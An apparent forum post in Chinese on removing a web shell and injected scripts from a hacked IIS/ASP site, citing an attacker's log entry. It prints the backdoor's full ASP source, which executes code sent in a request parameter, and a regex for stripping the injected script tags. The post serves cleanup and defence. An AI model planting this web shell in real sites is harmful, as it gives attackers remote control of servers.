还有个文件名好像是bottum.asp ，吧，，通过IIS日志可以查看到。

POST /Template/rss.asp nor=1&en=1&asp=1&dot=1 80 - 58.61.36.103

有这些代码的文件都要删掉。
<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.AddObject "session", session
ms.AddObject "server", server
ms.AddObject "application", application
ms.ExecuteStatement ("ex"&"ecute(request(chr(35)))")%>

好像是Template目录下的rss.asp,C00N.asp等文件吧，文件可能还被隐藏了，真是害人不浅。

可以正则添换

(<script).*?(ft917.3322|%3|i%63xxw|%69cxxw|ic%78xw|icx%78w).*?(\/script>)添换为空格

用ultraedit可以添换目录下的所有文件